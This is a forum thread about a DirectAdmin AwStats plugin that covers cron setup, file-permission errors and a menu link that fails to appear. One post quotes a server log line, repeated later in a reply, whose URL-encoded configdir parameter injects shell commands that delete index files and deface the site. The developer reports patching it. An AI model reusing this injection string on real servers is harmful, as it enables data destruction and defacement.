AwStats plugin for DA [Still in BETA]

Suggestion for ALL domains to update nightly before DA rotates apache logs as follows:-

Edit /etc/cron.d/directadmin_cron

Replace:-

10 0 * * * root echo 'action=tally&value=all' >> /usr/local/directadmin/data/task.queue

With:-

10 0 * * * root /usr/local/directadmin/plugins/awstats/hooks/cgi-bin/awstats_updateall.pl now -awstatsprog=/usr/local/directadmin/plugins/awstats/hooks/cgi-bin/awstats.pl && echo 'action=tally&value=all' >> /usr/local/directadmin/data/task.queue


Hopefully this should update AwStats for ALL domains, just before DA rotates the Apache logs, as DA rotates these when needed as part of the "action=tally&value=all" task. Please see the following post for to confirm the tally info:-
http://www.directadmin.com/forum/showthread.php?threadid=2629


Regards,

Brett.
 
fusionictnl said:
The Awstats is altered by me and won't be vunarable to this exploit as some more fixes.
Updating my version to 6.2 would let me redo some of the fixes again to make it workable again. In time I will maybe upgrade the version ;)
Click to expand...

Um... I dont mean to disagree, but we've just had a site exploited. Here's the code used:

201.3.200.212 - - [26/Jan/2005:00:54:41 -0500] "GET /cgi-bin/myAWStats/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2e%2e%3bcd%20%2e%2e%3brm%20%2drf%20%2aindex%2a%3becho%20SegmentationFault%20%2d%20need%20a%20help%3f%20segfaultbr%40hotmail%2ecom%20%3e%20index%2ehtml%3bcat%20index%2ehtml%3becho%20e_exp%3b%2500 HTTP/1.1" 200 711 "-" "-"


We're running your latest version.

Joe
 
albatroz said:
I have been running version 2.03 of your plugin for a long time without problems.

Recently installed Awstats for a domain and got this error message

Warning: Can't read file "status_http.pm" (status http detection will not work correctly).
Check if file is in "./lib" directory and is readable.

Error: Not same number of records of BrowsersSearchIDOrder (84 entries) and BrowsersHashIDLib (82 entries without msie and netscape) in Browsers database. Check your file ./lib/browsers.pm

Setup ('/etc/awstats/awstats.aep-peru.org.conf' file, web server or permissions) may be wrong.
Check config file, permissions and AWStats documentation (in 'docs' directory).

......... why? the awstats.aep-peru.org.conf is in its place... and my other previous installations are working ok
Click to expand...

you need to give the “lib” and “lang” directories +x access
 
Update 2.0.6

- Exploit fixed



hostpc.com said:
Um... I dont mean to disagree, but we've just had a site exploited. Here's the code used:

201.3.200.212 - - [26/Jan/2005:00:54:41 -0500] "GET /cgi-bin/myAWStats/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2e%2e%3bcd%20%2e%2e%3brm%20%2drf%20%2aindex%2a%3becho%20SegmentationFault%20%2d%20need%20a%20help%3f%20segfaultbr%40hotmail%2ecom%20%3e%20index%2ehtml%3bcat%20index%2ehtml%3becho%20e_exp%3b%2500 HTTP/1.1" 200 711 "-" "-"


We're running your latest version.

Joe
Click to expand...

The configdir isn't used through "CGI", but somehow awstats still processes it. I've patched it. Hopefully it will keep things clean till 6.3 is in Stable.
 
Vanishing option!?

I upgraded the AwStats plugin recently due to issues with some of my users, but now no matter what I try, I can't make the AwStats option appear in their skin. It was working perfectly before on the old version.

Correction: After totally deleting and attempting to reinstall said plugin, I get the following when attempting to enable it for all users:

Warning: fopen(/usr/local/directadmin/plugins/awstats/hooks/permissions.txt): failed to open stream: Permission denied in /usr/local/directadmin/plugins/awstats/admin/index.html on line 22 Warning: fwrite(): supplied argument is not a valid stream resource in /usr/local/directadmin/plugins/awstats/admin/index.html on line 23
[snip - last message repeated 39 times]

Warning: fclose(): supplied argument is not a valid stream resource in /usr/local/directadmin/plugins/awstats/admin/index.html on line 24 Select the users that can access the Awstats Plugin:

[list of users repeated, all unchecked]

I don't know if I'm missing something really obvious, although all the files and directories appear to be assigned to diradmin/diradmin (which I'm going to hazard a guess at being the directadmin user!). I enclose a list if it's any help!

Code: 
[root@server1:/usr/local/directadmin/plugins/awstats] # ls -l
drwxr-xr-x  2 diradmin  diradmin     512 Jan 26 11:57 admin
drwxr-xr-x  3 diradmin  diradmin     512 Jan 26 11:57 hooks
drwxr-xr-x  2 diradmin  diradmin     512 Jan 26 11:57 images
-rw-r--r--  1 diradmin  diradmin     201 Jan 26 11:57 plugin.conf
-rwx------  1 diradmin  diradmin  470475 Jan 26 11:57 plugin.tar.gz
drwxr-xr-x  2 diradmin  diradmin     512 Jan 26 11:57 scripts
drwxr-xr-x  2 diradmin  diradmin     512 Jan 26 11:57 user

[root@server1:/usr/local/directadmin/plugins/awstats] # ls -l user
total 12
-rwxr-xr-x  1 diradmin  diradmin  4668 Jan 26 11:57 index.html
-rwxr-xr-x  1 diradmin  diradmin  2961 Jan 26 11:57 options.php
-rwxr-xr-x  1 diradmin  diradmin  1379 Jan 26 11:57 save.php
[root@server1:/usr/local/directadmin/plugins/awstats] # ls -l admin
total 2
-rwxr-xr-x  1 diradmin  diradmin  1500 Jan 26 11:57 index.html
[root@server1:/usr/local/directadmin/plugins/awstats] # ls -l scripts
total 8
-rwx------  1 root      wheel     454 Jan 26 11:57 correct.sh
-rwx------  1 diradmin  diradmin  422 Jan 26 11:57 install.sh
-rwxr--r--  1 diradmin  diradmin   58 Jan 26 11:57 uninstall.sh
-rwx------  1 diradmin  diradmin  114 Jan 26 11:57 update.sh
[root@server1:/usr/local/directadmin/plugins/awstats] # ls -l hooks
total 36
-rwxr--r--  1 diradmin  diradmin     67 Jan 26 11:57 admin_img.html
-rwxr--r--  1 diradmin  diradmin     67 Jan 26 11:57 admin_txt.html
-rwxr-xr-x  1 diradmin  diradmin   2863 Jan 26 11:57 alldomains.php
-rwxr-xr-x  1 root      wheel     21748 Jan 26 11:57 awstatsinstall.php
drwxr-xr-x  6 diradmin  diradmin    512 Jan 26 11:57 cgi-bin
-rwxr--r--  1 diradmin  diradmin    290 Jan 26 11:57 user_img.html
-rwxr--r--  1 diradmin  diradmin    290 Jan 26 11:57 user_txt.html

Any ideas? I apologise if I've missed something already in the thread, I've been looking through, but it's been a long day of upgrades...
 
GITK Services

Create the file "permissions.txt" in the hooks dir of the plugin and give it 777 rights.


Chrysalis

Didn't find any other security holes in the databases on the net. So as they say "unknown" it is possible it's still unknown ;)

Maybe the patch fixes both.

I hope 6.3 will be stable as soon as possible.
 
Figured out my issue. Firstly, the file in question didn't exist, and secondly I changed it's ownership to admin:admin (the default admin user) to be able to write to it. Also changed it's attributes to 0775. However, whilst this solved the issue in the admin section, it's still totally invisible on the user side.

Incidentally, changing the file permissions to 0777 is an extremely bad idea security wise as a rule - it means anyone can write to it, including ordinary users!

Manually running http://www.domain.com:2222/CMD_PLUGINS/awstats works perfectly. It's just not showing up in the menu no matter what I try. Same when it's 0777'd. The user_txt.html etc files all appear to be 0744 (read only for group/public, read/write/execute on owner).

I'm now totally lost... even after supposedly removing the permission check in the user_txt.html, it doesn't show up. I haven't a clue why it's doing this.
 
Last edited:
A 777 file doesn't matter too much as user can't access the directory. If it isn't showing up it's probably a skin problem. Enhanced skin should show it! Try switching skins.

Giving it admin permissions is correctly as this had to be done in first place by the install script.

The other permissions are correct as this is plugin default.
 
fusionictnl said:
A 777 file doesn't matter too much as user can't access the directory.
Click to expand...

Not the directory, but if someone has been reading anything in this thread they will know (or be able to deduce) where it is located and open it directly and make modifications through ssh would they not? (Assuming you don't have ssh jailed to their home directories.)
 
jmstacey said:
Not the directory, but if someone has been reading anything in this thread they will know (or be able to deduce) where it is located and open it directly and make modifications through ssh would they not? (Assuming you don't have ssh jailed to their home directories.)
Click to expand...

Yes indeed if a directory is world rwx. A file on the other hand, not such problem. (in this case).

But if you're refering to ssh (not jailed). There's almost always a way to break into the system. Just a note on that ;)
 
It's on the enhanced skin already - as I said, it used to show up perfectly - it only vanished since I upgraded to the new version. That's what confused the hell out of me.
 
In the new version only the awstats.pl had some minor changes. This shouldn't affect the way the plugin appears.

I had some problems with the plugin system somethimes, because somehow DA always updates/installs it differently. Someway it somethimes just skips some lines. So I would recommend to delete the /usr/local/directadmin/plugins/awstats completly and then install it again. This normaly should fix things.
 
Tried it. That's what caused the initial permissions.txt issue.

I can't find any logical reason for it's behaviour.

I attempted commenting out the permissions part of the include file too, and just echoing it, but it failed to do that too, so it looks like it's simply not getting to the file itself. Any ideas?
 
As I understand in previous post the admin section works ? Users can be added to permissions.txt and are correctly written into it with their username ?

If so the file should only be readable for "Others" so the plugin can check if they exist. It just simply as you can see in the hooks/user_txt.html prints out the link.

Try removing the check part in this file to see if it works, but this way you will disable this feature.
 
That's right. It's showing up in the admin section fine, and the usernames are being correctly added to permissions.txt. However, even with disabling the check for the permissions, it's not showing up. It's as though DA is completely ignoring that part of the plugin for the users. I can't find any reason why.
 
Yes, I do.

I temporarily replaced the user_txt.html contents with a simple link, and it's now appearing on all users, without a problem. However, it doesn't explain the strange behaviour!

The old contents were as follows:
Code: 
|$/usr/local/bin/php
<?
$data = @file("/usr/local/directadmin/plugins/awstats/hooks/permissions.txt");
for ($x=0;$x<sizeof($data);$x++)
if (trim($data[$x])=="|USERNAME|") $deny=1;

if ($deny==1) echo '<a href="/CMD_PLUGINS/awstats"><B>AwStats Statistics</B></a>'; else echo " ";
echo '<a href="/CMD_PLUGINS/awstats"><B>AwStats Statistics</B></a>';
?>
DONE|

Hope that helps...
 
I don't understand why it isn't showing up? You need the latest version of DA for this to work :) Forgot to say that. In the latest the new feature was added.. So besides that I can't find any logical explanation.
 
You must log in or register to reply here.
Back
Top